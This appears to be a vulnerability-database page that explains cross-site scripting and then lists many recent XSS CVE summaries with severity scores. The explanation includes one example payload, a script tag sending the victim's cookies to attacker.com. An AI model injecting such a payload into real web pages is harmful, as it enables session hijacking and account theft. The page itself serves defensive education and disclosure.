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Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (40664)

EPSS 0% CVSS 6.1
MEDIUM This Month

The Hubbub Lite - Fast, free social sharing and follow buttons plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'dpsp_list_attention_search' parameter in all versions up. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP WordPress XSS
NVD
EPSS 0% CVSS 4.8
MEDIUM Monitor

Cross-site scripting vulnerability exists in GROWI prior to v7.2.10. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 5.2
MEDIUM This Month

A reflected cross-site scripting (XSS) vulnerability exists in the management console of multiple WSO2 products due to improper output encoding. Rated medium severity (CVSS 5.2), this vulnerability is no authentication required, low attack complexity. No vendor patch available.

XSS Api Control Plane Api Manager +8
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

A DOM-based Cross-Site Scripting (XSS) vulnerability in the SelfBest platform 2023.3 allows attackers to execute arbitrary JavaScript in the context of a logged-in user's session by injecting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Selfbest
NVD
EPSS 0% CVSS 7.2
HIGH POC This Month

A Stored Cross-Site Scripting (XSS) vulnerability in the chat functionality of the SelfBest platform 2023.3 allows authenticated attackers to inject arbitrary web scripts or HTML via the chat message. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Selfbest
NVD
EPSS 0% CVSS 9.1
CRITICAL POC Act Now

** exclusively-hosted-service ** A Stored Cross-Site Scripting (XSS) vulnerability in the chat functionality of the SelfBest platform 2023.3 allows authenticated low-privileged attackers to execute. Rated critical severity (CVSS 9.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Privilege Escalation Selfbest
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A reflected cross-site scripting (XSS) vulnerability exists in the authentication endpoints of multiple WSO2 products due to a lack of output encoding. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Api Control Plane Api Manager +2
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Cross Site Scripting vulnerability in Quipux 4.0.1 through e1774ac allows anexos/anexos_nuevo.php asocImgRad. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Quipux
NVD
EPSS 0% CVSS 5.4
MEDIUM POC This Month

OpenKM Community Edition 6.3.12 is vulnerable to stored cross-site scripting (XSS) in the user account creation interface. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Openkm
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM This Month

Multiple vulnerabilities in the web-based management interface of Cisco ISE and Cisco ISE-PIC could allow an authenticated, remote attacker to conduct a reflected XSS attack against a user of the. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Cisco Identity Services Engine
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Multiple vulnerabilities in the web-based management interface of Cisco ISE and Cisco ISE-PIC could allow an authenticated, remote attacker to conduct a reflected XSS attack against a user of the. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Cisco Identity Services Engine
NVD
EPSS 0% CVSS 4.8
MEDIUM Monitor

Multiple vulnerabilities in the web-based management interface of Cisco ISE and Cisco ISE-PIC could allow an authenticated, remote attacker to conduct a reflected XSS attack against a user of the. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Cisco Identity Services Engine
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Ad Inserter - Ad Manager & AdSense Ads plugin for WordPress is vulnerable to Stored Cross-Site Scripting via custom field through the plugin's 'adinserter' shortcode in all versions up to, and. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Visual Link Preview plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's visual-link-preview shortcode in versions up to, and including, 2.2.7 due to insufficient. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Graphina - Elementor Charts and Graphs plugin for WordPress is vulnerable to Stored Cross-Site Scripting via multiple chart widgets in all versions up to, and including, 3.1.8 due to insufficient. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP WordPress XSS
NVD GitHub
EPSS 0% CVSS 6.3
MEDIUM This Month

The FunnelKit WordPress plugin before 3.12.0.1 does not sanitize user input before echoing it back in some of its checkout-related AJAX actions, allowing attackers to conduct reflected XSS attacks. Rated medium severity (CVSS 6.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP WordPress XSS
NVD WPScan
EPSS 0% CVSS 6.4
MEDIUM This Month

The Spectra Gutenberg Blocks - Website Builder for the Block Editor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Custom CSS in all versions up to, and including, 2.19.14. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The SMS for WordPress plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'paged' parameter in all versions up to, and including, 1.1.8 due to insufficient input sanitization. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP WordPress XSS
NVD
EPSS 0% CVSS 8.7
HIGH POC PATCH This Week

LinkAce is a self-hosted archive to collect website links. Rated high severity (CVSS 8.7), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Linkace
NVD GitHub
EPSS 0% CVSS 5.3
MEDIUM POC PATCH This Month

ClipBucket v5 is an open source video sharing platform. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Clipbucket Oxygenz
NVD GitHub
EPSS 0% CVSS 5.3
MEDIUM This Month

Galette is a membership management web application for non profit organizations. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Galette
NVD GitHub
EPSS 0% CVSS 5.3
MEDIUM This Month

Galette is a membership management web application for non profit organizations. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Galette
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

A reflected cross-site scripted (XSS) vulnerability in the /jsp/gsfr_feditorHTML.jsp endpoint of Zucchetti ZMaintenance Infinity and Infinity Zucchetti v4.1 and earlier allows attackers to execute. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Infinity Zmaintenance Infinity Zucchetti +1
NVD GitHub
EPSS 0% CVSS 4.4
MEDIUM Monitor

The MeetingList plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 0.11 due to insufficient input sanitization and output. Rated medium severity (CVSS 4.4), this vulnerability is remotely exploitable. No vendor patch available.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Orbit Fox: Duplicate Page, Menu Icons, SVG Support, Cookie Notice, Custom Fonts & More plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the category and tag 'name' parameters. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The Pagerank Tools plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Cross-Site Request Forgery in all versions up to, and including, 1.1.5. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP WordPress XSS +1
NVD
EPSS 0% CVSS 4.4
MEDIUM Monitor

The clubmember plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 0.2 due to insufficient input sanitization and output. Rated medium severity (CVSS 4.4), this vulnerability is remotely exploitable. No vendor patch available.

PHP WordPress XSS
NVD
EPSS 0% CVSS 4.4
MEDIUM Monitor

The Free Quotation plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 3.1.6 due to insufficient input sanitization and output. Rated medium severity (CVSS 4.4), this vulnerability is remotely exploitable. No vendor patch available.

PHP WordPress XSS
NVD
EPSS 0% CVSS 4.4
MEDIUM Monitor

The Nari Accountant plugin for WordPress is vulnerable to Stored Cross-Site Scripting via account settings in all versions up to, and including, 1.0.12 due to insufficient input sanitization and. Rated medium severity (CVSS 4.4), this vulnerability is remotely exploitable. No vendor patch available.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Extensions for Leaflet Map plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `geojsonmarker` shortcode in all versions up to, and including, 4.7. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP WordPress XSS
NVD
EPSS 0% CVSS 4.4
MEDIUM Monitor

The WP Carticon plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'carticon_js_script' parameter in all versions up to, and including, 1.0.0 due to insufficient input. Rated medium severity (CVSS 4.4), this vulnerability is remotely exploitable. No vendor patch available.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Reuse Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'reuse_builder_single_post_title' shortcode in all versions up to, and including, 1.7. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP WordPress XSS
NVD
EPSS 0% CVSS 4.4
MEDIUM Monitor

The Bootstrap Multi-language Responsive Portfolio plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.0 due to insufficient. Rated medium severity (CVSS 4.4), this vulnerability is remotely exploitable. No vendor patch available.

PHP WordPress XSS
NVD
EPSS 0% CVSS 7.2
HIGH This Week

The Footnotes Made Easy plugin for WordPress is vulnerable to Stored Cross-Site Scripting via plugin settings in all versions up to, and including, 3.0.7 due to insufficient input sanitization and. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The TablePress - Tables in WordPress made easy plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's `table` shortcode attributes in all versions up to, and including,. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Greenshift - animation and page builder blocks plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Chart Data attributes in all versions up to, and including, 12.2.7 due to. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM PATCH This Month

This issue was addressed with improved checks This issue is fixed in tvOS 26.1, watchOS 26.1, macOS Tahoe 26.1, iOS 26.1 and iPadOS 26.1, Safari 26.1, visionOS 26.1. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Apple Red Hat +1
NVD VulDB
EPSS 0% CVSS 7.1
HIGH This Week

An out-of-bounds access issue was addressed with improved bounds checking. Rated high severity (CVSS 7.1), this vulnerability is no authentication required, low attack complexity. No vendor patch available.

XSS Apple
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

IBM Cloud Pak for Business Automation 25.0.0 through 25.0.0 Interim Fix 001, 24.0.1 through 24.0.1 Interim Fix 004, 24.0.0 through 24.0.0 Interim Fix 006, and earlier unsupported releases IBM. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS IBM Cloud Pak For Business Automation
NVD
EPSS 1% CVSS 5.1
MEDIUM This Month

Nagios XI versions prior to 5.8.7 using embedded Nagios Core are vulnerable to cross-site scripting (XSS) via the Core UI’s Views URL handling (escape_string()). Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Nagios Xi Nagios
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Grav CMS1.7.49.5 is vulnerable to Cross Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Grav Getgrav
NVD GitHub
EPSS 0% CVSS 7.3
HIGH This Month

Open Source Social Network (OSSN) 8.6 is vulnerable to Cross Site Scripting (XSS) via the parameter param` at endpoint u/administrator/friends. Rated high severity (CVSS 7.3), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Open Source Social Network Opensource Socialnetwork
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

Phpgurukul Maid Hiring Management System 1.0 is vulnerable to Cross Site Scripting (XSS) in /maid-hiring.php va the name field. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Maid Hiring Management System +1
NVD GitHub
EPSS 0% CVSS 7.1
HIGH This Month

IdentityIQ 8.5, IdentityIQ 8.4 and all 8.4 patch levels prior to 8.4p4, IdentityIQ 8.3 and all 8.3 patch levels including 8.3p5, and all prior versions allows some IdentityIQ web services that. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable. No vendor patch available.

XSS Identityiq Sailpoint
NVD
EPSS 0% CVSS 5.4
MEDIUM POC This Month

Car-Booking-System-PHP v.1.0 is vulnerable to Cross Site Scripting (XSS) in /carlux/booking.php. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Car Booking System Php +1
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

Water Management System v1.0 is vulnerable to Cross Site Scripting (XSS) in /orders.php. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Water Management System +1
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Water Management System v1.0 is vulnerable to Cross Site Scripting (XSS) in /edit_product.php?id=1. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Water Management System +1
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Water Management System v1.0 is vulnerable to Cross Site Scripting (XSS) in /add_customer.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Water Management System +1
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Water Management System v1.0 is vulnerable to Cross Site Scripting (XSS) in /add_vendor.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Water Management System +1
NVD GitHub
EPSS 0% CVSS 8.7
HIGH POC This Week

A cross-site scripting (XSS) vulnerability exists in the administrative interface of ultimatefosters UltimatePOS 4.8 where input submitted in the purchase functionality is reflected without proper. Rated high severity (CVSS 8.7), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Ultimatepos
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

School Management System PHP v1.0 is vulnerable to Cross Site Scripting (XSS) in /login.php via the password parameter. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS School Management System Php
NVD GitHub
EPSS 0% CVSS 4.6
MEDIUM POC Monitor

Simple User Management System with PHP-MySQL v1.0 is vulnerable to Cross-Site Scripting (XSS) via the Profile Section. Rated medium severity (CVSS 4.6), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Simple User Management System
NVD GitHub
EPSS 0% CVSS 6.4
MEDIUM This Month

The kallyas theme for WordPress is vulnerable to Stored Cross-Site Scripting via several of the plugin's shortcodes in all versions up to, and including, 4.23.0 due to insufficient input sanitization. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Employee Spotlight - Team Member Showcase & Meet the Team Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Social URLs in all versions up to, and including, 5.1.2 due. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Schema & Structured Data for WP & AMP plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'saswp_tiny_multiple_faq' shortcode in all versions up to, and including,. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Schema Scalpel plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the post title in all versions up to, and including, 1.6.1 due to insufficient input sanitization and output. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP WordPress XSS
NVD GitHub
EPSS 0% CVSS 7.2
HIGH This Month

The Community Events plugin for WordPress is vulnerable to Stored Cross-Site Scripting via event details parameter in all versions up to, and including, 1.5.2 due to insufficient input sanitization. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP WordPress XSS
NVD
EPSS 0% CVSS 4.4
MEDIUM Monitor

The Flying Images: Optimize and Lazy Load Images for Faster Page Speed plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including,. Rated medium severity (CVSS 4.4), this vulnerability is remotely exploitable. No vendor patch available.

PHP WordPress XSS
NVD
EPSS 0% CVSS 4.4
MEDIUM Monitor

The CSS & JavaScript Toolbox plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 12.0.5 due to insufficient input sanitization. Rated medium severity (CVSS 4.4), this vulnerability is remotely exploitable. No vendor patch available.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Inactive Logout plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'ina_redirect_page_individual_user' parameter in all versions up to, and including, 3.5.5 due to. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP WordPress XSS
NVD
EPSS 0% CVSS 2.0
LOW POC Monitor

Stored cross-site scripting (XSS) in LogicalDOC Community Edition up to 9.2.1 allows authenticated users to inject malicious scripts via the API Key creation UI, affecting the integrity of user data and potentially enabling credential theft or session hijacking. The vulnerability requires user interaction (UI:P) and authenticated access (PR:L), but publicly available exploit code exists and the vendor has not responded to early disclosure notification.

XSS Logicaldoc
NVD GitHub VulDB
EPSS 0% CVSS 5.9
MEDIUM This Month

Stored XSS in Premmerce Product Search for WooCommerce through version 2.2.5 allows high-privilege authenticated users to inject malicious scripts that execute in the context of other users' browsers, affecting website visitors and administrators. The vulnerability requires user interaction (page view) to trigger payload execution and has low EPSS exploitation probability (0.02%), indicating minimal real-world risk despite the network-accessible attack vector. No public exploit code or active exploitation has been confirmed.

PHP WordPress XSS +1
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Stored cross-site scripting (XSS) vulnerability in Automattic WooCommerce through version 10.0.2 allows attackers to inject malicious scripts that persist in the application and execute in the browsers of other users. The vulnerability stems from improper input neutralization during web page generation, enabling authenticated or lower-privileged users to compromise the integrity of the WooCommerce storefront and potentially steal customer data or perform actions on behalf of administrators.

WordPress XSS
NVD
EPSS 0% CVSS 2.1
LOW POC Monitor

Stored cross-site scripting (XSS) in code-projects E-Commerce Website 1.0 allows remote attackers to inject malicious scripts via the supp_name or supp_address parameters in /pages/supplier_update.php. Exploitation requires user interaction (clicking a malicious link) but no authentication. Publicly available exploit code exists; real-world exploitation risk is low (EPSS 0.04%, CVSS 2.1) due to limited scope and required user interaction, but the vulnerability is disclosed and weaponizable.

PHP XSS E Commerce Website +1
NVD VulDB
EPSS 0% CVSS 1.9
LOW POC Monitor

Stored cross-site scripting (XSS) vulnerability in SourceCodester Student Grades Management System 1.0 allows authenticated administrators with high privileges to inject malicious scripts via the delete_user function in /admin.php, which execute in the context of other users' browsers when they interact with affected content. The vulnerability requires user interaction and administrative privileges to exploit, resulting in low integrity impact with a CVSS score of 1.9. Publicly available exploit code exists, though the very low EPSS score (0.05%, 14th percentile) suggests limited real-world exploitation despite POC availability.

PHP XSS Student Grades Management System +1
NVD GitHub VulDB
EPSS 0% CVSS 2.1
LOW POC Monitor

Reflected cross-site scripting (XSS) in code-projects E-Commerce Website 1.0 allows remote attackers to inject malicious scripts via the prod_name, prod_desc, or prod_cost parameters in /pages/product_add.php. The vulnerability requires user interaction (UI:P per CVSS 4.0) but can be exploited remotely without authentication. Publicly available exploit code exists, though EPSS scoring (0.04%, percentile 11%) indicates low real-world exploitation probability despite public POC availability.

PHP XSS E Commerce Website +1
NVD VulDB
EPSS 0% CVSS 2.1
LOW POC Monitor

Reflected cross-site scripting (XSS) in code-projects E-Commerce Website 1.0 allows remote attackers to inject malicious scripts via the supp_name and supp_address parameters in /pages/supplier_add.php. The vulnerability requires user interaction (clicking a crafted link) but enables session hijacking, credential theft, and malware distribution. Publicly available exploit code exists; however, the EPSS score of 0.04% (11th percentile) indicates exploitation remains uncommon despite disclosure, likely due to limited deployment of this niche e-commerce platform.

PHP XSS E Commerce Website +1
NVD VulDB
EPSS 0% CVSS 1.9
LOW POC Monitor

Stored cross-site scripting (XSS) in Willow CMS up to version 1.4.0 allows authenticated administrative users to inject malicious scripts via the title or body parameters in the Add Post Page (/admin/articles/add), which are then executed in the browsers of other users who view the post. The vulnerability requires high-privilege authentication and user interaction (visiting the affected page) to trigger, resulting in limited integrity impact. Public exploit code is available, though EPSS analysis indicates minimal real-world exploitation probability at 0.03%.

XSS Willow Cms
NVD GitHub VulDB
EPSS 0% CVSS 1.9
LOW POC Monitor

Reflected cross-site scripting in PHPGurukul Curfew e-Pass Management System 1.0 allows authenticated high-privilege users to inject malicious scripts via the Fullname or Category parameters in view-pass-detail.php, exploitable only when a victim with sufficient privileges views a crafted link. The CVSS score of 1.9 reflects severe exploitation constraints: high privilege requirement, user interaction dependency, and limited impact scope, despite a public exploit being available.

PHP XSS Curfew E Pass Management System +1
NVD GitHub VulDB
EPSS 0% CVSS 1.9
LOW POC Monitor

Stored or reflected cross-site scripting (XSS) in PHPGurukul Curfew e-Pass Management System 1.0 allows authenticated users with high privileges to inject malicious scripts via the catname parameter in edit-category-detail.php, affecting application integrity with low severity (CVSS 1.9, EPSS 0.03%). Publicly available exploit code exists; however, exploitation requires user interaction and high-level administrative credentials, significantly limiting real-world attack surface.

PHP XSS Curfew E Pass Management System +1
NVD GitHub VulDB
EPSS 0% CVSS 1.9
LOW POC Monitor

Stored cross-site scripting (XSS) in PHPGurukul Curfew e-Pass Management System 1.0 allows authenticated high-privilege users to inject malicious scripts via the adminname or email parameters in admin-profile.php, affecting user interface integrity and enabling credential theft or malware delivery. The vulnerability requires high-privilege access and user interaction (UI:P), resulting in a CVSS score of 1.9 despite network accessibility. Public exploit code exists but exploitation probability is exceptionally low (EPSS 0.03%, 9th percentile), suggesting this is primarily a demonstration or proof-of-concept rather than an active threat.

PHP XSS Curfew E Pass Management System +1
NVD GitHub VulDB
EPSS 0% CVSS 2.1
LOW POC Monitor

Cross-site scripting (XSS) in Simple Food Ordering System 1.0 allows remote attackers to inject malicious scripts via unsanitized input parameters (pname, category, price) in the /editproduct.php endpoint. The vulnerability requires user interaction (UI:P) but carries low integrity impact and has publicly available exploit code; EPSS probability remains minimal (0.03%) despite public POC availability, suggesting limited real-world adoption or exploitation barriers.

PHP XSS Simple Food Ordering System +1
NVD GitHub VulDB
EPSS 0% CVSS 2.1
LOW POC Monitor

Stored cross-site scripting (XSS) in Simple Food Ordering System 1.0 allows remote attackers to inject malicious scripts via the cname parameter in /addcategory.php, which are executed in the browsers of users viewing affected content. The vulnerability requires user interaction (UI:P) to exploit but has a public proof-of-concept available. Despite the low CVSS score (2.1) and minimal EPSS percentile (10%), the combination of remote network access and public exploit code necessitates prompt patching to prevent account compromise and session hijacking.

PHP XSS Simple Food Ordering System +1
NVD GitHub VulDB
EPSS 0% CVSS 2.1
LOW POC Monitor

Stored cross-site scripting (XSS) in Simple Food Ordering System 1.0 allows remote attackers to inject malicious scripts through the pname, category, or price parameters in /addproduct.php, requiring user interaction to trigger payload execution. Public exploit code is available, and the vulnerability carries low severity (CVSS 2.1) due to the requirement for user interaction and limited scope of impact.

PHP XSS Simple Food Ordering System +1
NVD GitHub VulDB
EPSS 0% CVSS 2.1
LOW POC Monitor

Reflected cross-site scripting (XSS) in Simple Food Ordering System 1.0 via the pname parameter in /editcategory.php allows remote attackers to inject malicious JavaScript that executes in users' browsers with minimal user interaction. The vulnerability requires user interaction (clicking a malicious link) but has low technical complexity and publicly available exploit code, though active exploitation remains unconfirmed and real-world impact is limited by the low EPSS score of 0.03% despite public POC availability.

PHP XSS Simple Food Ordering System +1
NVD GitHub VulDB
EPSS 0% CVSS 2.1
LOW Monitor

Reflected cross-site scripting (XSS) in Suishang Enterprise-Level B2B2C Multi-User Mall System 1.0 allows remote attackers to inject malicious scripts via the keywords parameter in the /i/359 endpoint. The vulnerability requires user interaction (clicking a malicious link) and results in limited integrity impact. Although exploit code has been publicly disclosed and the vendor did not respond to early disclosure, the EPSS score of 0.03% and low CVSS impact (2.1) suggest minimal real-world exploitation probability.

XSS
NVD GitHub VulDB
EPSS 0% CVSS 2.1
LOW Monitor

Reflected cross-site scripting (XSS) in Suishang Enterprise-Level B2B2C Multi-User Mall System 1.0 allows remote attackers to inject malicious scripts via the category_id parameter in the /Point/index/activity_state endpoint. The vulnerability requires user interaction (UI:P) to trigger and has low integrity impact, but publicly available exploit code exists. The vendor did not respond to disclosure notifications.

XSS
NVD GitHub VulDB
EPSS 0% CVSS 1.9
LOW POC Monitor

Stored cross-site scripting (XSS) in code-projects Client Details System 1.0 allows authenticated users with high privileges to inject malicious scripts via the /admin/manage-users.php endpoint, which are then executed in the browsers of other users who interact with the managed user data. The vulnerability requires administrative privileges and user interaction (UI:P) to exploit, resulting in limited integrity impact (VI:L). Public exploit code is available, though the extremely low CVSS score (1.9) and EPSS probability (0.04%) reflect the high privilege barrier and user interaction requirement that significantly constrain real-world risk.

PHP XSS Client Details System +1
NVD GitHub VulDB
EPSS 0% CVSS 1.9
LOW POC Monitor

